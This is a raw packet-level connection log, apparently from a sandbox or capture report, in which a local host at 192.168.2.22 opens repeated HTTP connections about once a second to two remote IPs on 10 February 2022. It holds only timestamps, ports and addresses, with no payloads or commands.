Feb 10, 2022 10:22:50.045672894 CET	49209	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:50.061939001 CET	80	49209	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:51.021534920 CET	49210	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:51.037985086 CET	80	49210	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:51.038126945 CET	49210	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:51.041532993 CET	49210	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:51.057787895 CET	80	49210	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:51.057890892 CET	49210	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:51.074027061 CET	80	49210	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:51.130028963 CET	80	49210	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:51.130060911 CET	80	49210	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:51.130132914 CET	49210	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:51.130170107 CET	49210	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:51.146361113 CET	80	49210	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:52.043200016 CET	49211	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:52.059412956 CET	80	49211	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:52.059534073 CET	49211	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:52.063119888 CET	49211	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:52.079271078 CET	80	49211	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:52.079380035 CET	49211	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:52.095537901 CET	80	49211	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:52.182354927 CET	80	49211	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:52.182401896 CET	80	49211	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:52.182447910 CET	49211	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:52.182477951 CET	49211	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:52.198564053 CET	80	49211	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:53.134327888 CET	49212	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:53.150763035 CET	80	49212	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:53.150862932 CET	49212	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:53.153614998 CET	49212	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:53.169997931 CET	80	49212	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:53.170088053 CET	49212	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:53.186451912 CET	80	49212	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:53.252991915 CET	80	49212	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:53.253034115 CET	80	49212	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:53.253110886 CET	49212	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:53.253155947 CET	49212	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:53.270086050 CET	80	49212	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:54.187647104 CET	49213	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:54.204071045 CET	80	49213	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:54.204277992 CET	49213	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:54.210618019 CET	49213	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:54.227085114 CET	80	49213	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:54.227287054 CET	49213	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:54.243494034 CET	80	49213	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:54.306786060 CET	80	49213	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:54.306880951 CET	80	49213	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:54.306921005 CET	49213	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:54.306947947 CET	49213	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:54.323095083 CET	80	49213	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:55.203777075 CET	49214	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:55.220285892 CET	80	49214	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:55.220451117 CET	49214	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:55.222618103 CET	49214	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:55.238982916 CET	80	49214	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:55.239134073 CET	49214	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:55.255506992 CET	80	49214	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:55.306236029 CET	80	49214	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:55.306277990 CET	80	49214	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:55.306423903 CET	49214	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:55.306483030 CET	49214	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:55.322671890 CET	80	49214	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:56.215982914 CET	49215	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:56.232438087 CET	80	49215	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:56.232757092 CET	49215	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:56.235039949 CET	49215	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:56.251379967 CET	80	49215	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:56.251535892 CET	49215	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:56.267834902 CET	80	49215	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:56.328077078 CET	80	49215	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:56.328259945 CET	49215	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:56.328366995 CET	80	49215	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:56.328459978 CET	49215	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:56.344563961 CET	80	49215	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:57.334984064 CET	49216	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:57.351284981 CET	80	49216	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:57.351490974 CET	49216	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:57.354640007 CET	49216	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:57.370903969 CET	80	49216	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:57.370970011 CET	49216	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:57.387115002 CET	80	49216	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:57.520679951 CET	80	49216	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:57.520729065 CET	80	49216	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:57.520920992 CET	49216	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:57.520941019 CET	49216	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:57.537328005 CET	80	49216	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:58.418437004 CET	49217	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:58.434743881 CET	80	49217	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:58.434859037 CET	49217	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:58.437792063 CET	49217	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:58.454041004 CET	80	49217	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:58.454149961 CET	49217	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:58.470371008 CET	80	49217	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:58.535232067 CET	80	49217	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:58.535377026 CET	80	49217	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:58.535455942 CET	49217	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:58.535485983 CET	49217	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:58.551743984 CET	80	49217	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:59.522322893 CET	49218	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:59.538671017 CET	80	49218	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:59.538755894 CET	49218	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:59.543742895 CET	49218	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:59.559895992 CET	80	49218	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:59.559976101 CET	49218	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:59.576189995 CET	80	49218	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:59.660451889 CET	80	49218	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:59.660557985 CET	49218	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:59.660566092 CET	80	49218	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:59.660614014 CET	49218	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:59.676748991 CET	80	49218	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:00.534972906 CET	49219	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:00.551654100 CET	80	49219	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:00.551754951 CET	49219	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:00.557396889 CET	49219	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:00.573828936 CET	80	49219	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:00.573935032 CET	49219	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:00.590424061 CET	80	49219	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:00.711899996 CET	80	49219	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:00.711939096 CET	80	49219	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:00.712090015 CET	49219	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:00.712125063 CET	49219	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:00.728512049 CET	80	49219	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:01.605514050 CET	49220	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:01.621777058 CET	80	49220	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:01.625024080 CET	49220	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:01.628313065 CET	49220	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:01.644470930 CET	80	49220	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:01.648943901 CET	49220	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:01.666855097 CET	80	49220	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:01.731878996 CET	80	49220	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:01.731900930 CET	80	49220	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:01.731949091 CET	49220	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:01.731987953 CET	49220	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:01.750792027 CET	80	49220	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:02.606304884 CET	49221	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:02.625091076 CET	80	49221	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:02.625226974 CET	49221	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:02.628099918 CET	49221	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:02.645137072 CET	80	49221	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:02.645340919 CET	49221	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:02.663547039 CET	80	49221	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:02.733601093 CET	80	49221	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:02.733901024 CET	49221	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:02.734122038 CET	80	49221	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:02.734241009 CET	49221	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:02.750504017 CET	80	49221	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:03.650707006 CET	49222	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:03.667027950 CET	80	49222	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:03.667171955 CET	49222	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:03.670597076 CET	49222	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:03.686793089 CET	80	49222	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:03.686985970 CET	49222	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:03.703057051 CET	80	49222	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:03.758486986 CET	80	49222	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:03.758616924 CET	49222	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:03.758789062 CET	80	49222	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:03.758863926 CET	49222	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:03.774749041 CET	80	49222	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:04.642760038 CET	49223	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:04.658993006 CET	80	49223	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:04.659075975 CET	49223	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:04.661405087 CET	49223	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:04.677503109 CET	80	49223	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:04.677716017 CET	49223	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:04.693931103 CET	80	49223	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:04.741179943 CET	80	49223	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:04.741373062 CET	80	49223	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:04.741408110 CET	49223	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:04.741436005 CET	49223	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:04.757555962 CET	80	49223	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:05.935445070 CET	49224	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:05.951662064 CET	80	49224	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:05.951716900 CET	49224	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:05.954619884 CET	49224	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:05.970711946 CET	80	49224	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:05.970782995 CET	49224	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:05.986881018 CET	80	49224	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:06.040098906 CET	80	49224	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:06.040227890 CET	49224	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:06.040630102 CET	80	49224	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:06.040673971 CET	49224	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:06.056374073 CET	80	49224	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:08.576651096 CET	49225	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:08.593106985 CET	80	49225	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:08.593507051 CET	49225	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:08.596977949 CET	49225	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:08.613425016 CET	80	49225	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:08.613538980 CET	49225	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:08.630016088 CET	80	49225	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:08.680362940 CET	80	49225	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:08.680509090 CET	80	49225	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:08.680519104 CET	49225	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:08.680574894 CET	49225	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:08.696952105 CET	80	49225	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:09.649192095 CET	49226	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:09.665326118 CET	80	49226	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:09.665422916 CET	49226	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:09.667687893 CET	49226	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:09.683819056 CET	80	49226	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:09.683943987 CET	49226	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:09.700093985 CET	80	49226	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:09.773921967 CET	80	49226	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:09.774087906 CET	49226	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:09.774854898 CET	80	49226	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:09.774934053 CET	49226	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:09.790251017 CET	80	49226	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:10.691493034 CET	49227	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:10.708048105 CET	80	49227	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:10.708574057 CET	49227	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:10.711121082 CET	49227	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:10.727528095 CET	80	49227	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:10.727674007 CET	49227	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:10.744157076 CET	80	49227	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:10.805613041 CET	80	49227	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:10.805726051 CET	80	49227	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:10.805787086 CET	49227	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:10.805805922 CET	49227	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:10.822633982 CET	80	49227	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:11.728051901 CET	49228	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:11.744455099 CET	80	49228	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:11.744544983 CET	49228	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:11.750458956 CET	49228	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:11.766900063 CET	80	49228	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:11.767074108 CET	49228	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:11.783479929 CET	80	49228	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:11.894766092 CET	80	49228	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:11.894867897 CET	80	49228	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:11.897490025 CET	49228	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:11.897532940 CET	49228	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:11.913733959 CET	80	49228	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:12.807075977 CET	49229	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:12.823569059 CET	80	49229	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:12.823920965 CET	49229	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:12.826739073 CET	49229	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:12.843334913 CET	80	49229	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:12.843465090 CET	49229	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:12.859697104 CET	80	49229	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:12.954328060 CET	80	49229	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:12.954447985 CET	49229	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:12.954464912 CET	80	49229	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:12.954515934 CET	49229	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:12.970663071 CET	80	49229	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:13.895229101 CET	49230	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:13.912416935 CET	80	49230	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:13.912507057 CET	49230	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:13.916424990 CET	49230	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:13.934206963 CET	80	49230	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:13.934345961 CET	49230	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:13.950593948 CET	80	49230	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:14.009248972 CET	80	49230	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:14.009340048 CET	80	49230	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:14.009408951 CET	49230	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:14.011969090 CET	49230	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:14.028245926 CET	80	49230	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:14.909082890 CET	49231	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:14.925277948 CET	80	49231	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:14.925461054 CET	49231	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:14.928308964 CET	49231	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:14.944431067 CET	80	49231	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:14.944510937 CET	49231	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:14.960648060 CET	80	49231	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:15.005187035 CET	80	49231	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:15.005335093 CET	49231	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:15.005564928 CET	80	49231	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:15.005635977 CET	49231	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:15.021523952 CET	80	49231	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:16.150099993 CET	49232	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:16.166445017 CET	80	49232	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:16.166528940 CET	49232	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:16.169338942 CET	49232	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:16.185508966 CET	80	49232	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:16.185606003 CET	49232	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:16.201792955 CET	80	49232	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:16.265043974 CET	80	49232	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:16.265171051 CET	49232	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:16.265186071 CET	80	49232	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:16.265228987 CET	49232	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:16.281373024 CET	80	49232	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:17.403482914 CET	49234	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:17.419680119 CET	80	49234	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:17.419934034 CET	49234	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:17.425743103 CET	49234	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:17.441916943 CET	80	49234	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:17.442059040 CET	49234	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:17.458369017 CET	80	49234	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:17.529016018 CET	80	49234	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:17.529097080 CET	80	49234	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:17.529175043 CET	49234	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:17.529278994 CET	49234	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:17.545625925 CET	80	49234	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:18.764775038 CET	49235	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:18.780958891 CET	80	49235	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:18.781028032 CET	49235	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:18.783854008 CET	49235	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:18.800070047 CET	80	49235	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:18.800137043 CET	49235	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:18.816421032 CET	80	49235	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:18.911052942 CET	80	49235	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:18.911097050 CET	80	49235	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:18.911189079 CET	49235	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:18.911235094 CET	49235	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:18.927673101 CET	80	49235	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:19.820646048 CET	49236	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:19.836930037 CET	80	49236	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:19.837807894 CET	49236	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:19.840840101 CET	49236	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:19.857043982 CET	80	49236	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:19.857125044 CET	49236	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:19.873378038 CET	80	49236	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:19.945090055 CET	80	49236	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:19.945318937 CET	80	49236	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:19.945436954 CET	49236	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:19.945489883 CET	49236	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:19.964643955 CET	80	49236	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:20.951410055 CET	49237	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:20.967745066 CET	80	49237	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:20.967859030 CET	49237	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:20.970686913 CET	49237	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:20.986975908 CET	80	49237	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:20.987104893 CET	49237	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:21.003457069 CET	80	49237	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:21.069719076 CET	80	49237	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:21.069746017 CET	80	49237	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:21.069941044 CET	49237	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:21.069998026 CET	49237	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:21.086172104 CET	80	49237	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:22.053076982 CET	49238	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:22.069677114 CET	80	49238	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:22.069889069 CET	49238	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:22.072757959 CET	49238	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:22.089076042 CET	80	49238	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:22.089340925 CET	49238	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:22.105674028 CET	80	49238	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:22.165954113 CET	80	49238	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:22.165982008 CET	80	49238	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:22.166074991 CET	49238	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:22.166100979 CET	49238	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:22.182336092 CET	80	49238	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:23.116611004 CET	49239	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:23.133575916 CET	80	49239	172.67.197.66	192.168.2.22
